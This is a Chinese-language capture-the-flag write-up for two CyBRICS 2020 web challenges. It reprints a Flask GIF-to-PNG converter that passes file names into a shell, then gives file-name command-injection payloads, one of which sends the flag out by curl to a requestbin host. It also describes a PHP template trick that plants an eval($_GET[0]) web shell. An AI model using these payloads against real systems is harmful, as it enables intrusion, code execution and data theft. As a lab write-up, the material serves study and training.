Gif2png
import logging
import re
import subprocess
import uuid
from pathlib import Path
from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype
ALLOWED_EXTENSIONS = {'gif'}
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)
if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)
if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)
if not bool(re.match("^[a-zA-Z0-9_-. '"=$()|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)
uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")
logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"")
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
command.wait(timeout=15)
logging.debug(command.stdout)
flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))
return render_template("form.html")
@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)
return render_template("result.html", uid=uid, images=images)
@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
print(uid)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)
@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413
if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)
功能就是上传一个1.gif,首先保存到uploads/1.gif,然后创建一个uuid文件夹,里面存放转换后的png,并显示出来
emm在ffmpeg上浪费了很多时间,这里的/uploads路由在我本地环境上是能跨单个目录读取的:
但是靶机上就不行,迷...
这段转换的代码
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
command.wait(timeout=15)
filename可控(不过有过滤,只能包含:^[a-zA-Z0-9_-. '"=$()|]*$
),base64绕,闭合单引号,尝试curlvps直接500,尝试dnslog
flag=$(cat main.py|grep 'cybrics'|base64|cut -c 1-30);curl $flag.fdd53f02cd3a14119791.d.requestbin.net
1.gif'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgJ2N5YnJpY3MnfGJhc2U2NHxjdXQgLWMgMS0zMCk7Y3VybCAkZmxhZy5mZGQ1M2YwMmNkM2ExNDExOTc5MS5kLnJlcXVlc3RiaW4ubmV0 |base64 -d|sh||'1.gif
一部分一部分外带
还有种解法是直接将main.py复制到uploads/{uuid}/
'$(cp main.py uploads$(pwd | cut -c1)521be2a4-ded4-4bbd-9f0f-7e6eaedf9aa7$(pwd | cut -c1))'.gif
https://github.com/wetox-team/writeup/tree/master/cybrics_2020/gif2png
#base64一下清楚一点
1.gif'||echo Y3AgbWFpbi5weSB1cGxvYWRzLzUyMWJlMmE0LWRlZDQtNGJiZC05ZjBmLTdlNmVhZWRmOWFhNy8xLnB5 |base64 -d|sh||'1.gif
Woc
有好几个计算器模板
如果有share便会为我们生成对应的php文件
并且可以自己创建html计算器模板
模板中的过滤就是<?
还是先看一下模板生成php的这行:
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>
" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
可见我们写入的模板会被拼接为:
<script>var preloadValue = <?=json_encode((string)($field))?>;</script>
+
file_get_contents("inc/calclib.html")
+
file_get_contents("calcs/$userid/templates/$template.html")
其中第一部分的field是我们想计算的内容,第二部分是一个默认的html,第三部分为模板,又有会将三个拼接成php,那就想办法写个shell
首先由于模板部分过滤了<?
,而第一部分中恰好有<?=
,可以用/**/
来注释中间的部分,所以先新建一个模板:
<input type="text" class="part" id="field" name="field" />
<input type="button" class="part" id="digit0" data-append="0" />
<input type="button" class="part" id="digit1" data-append="1" />
<input type="button" class="part" id="digit2" data-append="2" />
<input type="button" class="part" id="digit3" data-append="3" />
<input type="button" class="part" id="digit4" data-append="4" />
<input type="button" class="part" id="digit5" data-append="5" />
<input type="button" class="part" id="digit6" data-append="6" />
<input type="button" class="part" id="digit7" data-append="7" />
<input type="button" class="part" id="digit8" data-append="8" />
<input type="button" class="part" id="digit9" data-append="9" />
<input type="button" class="part" id="plus" data-append=" + " />
<input type="button" class="part" id="minus" data-append=" - " />
<input type="button" class="part" id="times" data-append=" * " />
<input type="button" class="part" id="div" data-append=" / " />
<input type="button" class="part" id="point" data-append="." />
<input type="button" class="part" id="clear" />
<input type="button" class="part" id="back" value="← Back" />
<input type="submit" class="part" id="share" name="share" value="Share" />
<input type="submit" class="part" id="equals" />
*/));eval($_GET[0]);?>
后面的括号是用来闭合第一部分的两个括号的,然后令field=1+%2b+1/*
结果就为:
<script>var preloadValue = <?=json_encode((string)(1+1/*))?>;</script>
...
...
<input type="submit" class="part" id="equals" />
*/));eval($_GET[0]);?>
然后生成php
POST /?p=calc&template=80c47c3d-4fef-4805-e00b-60aff4674d07
field=1+%2b+1*&share=1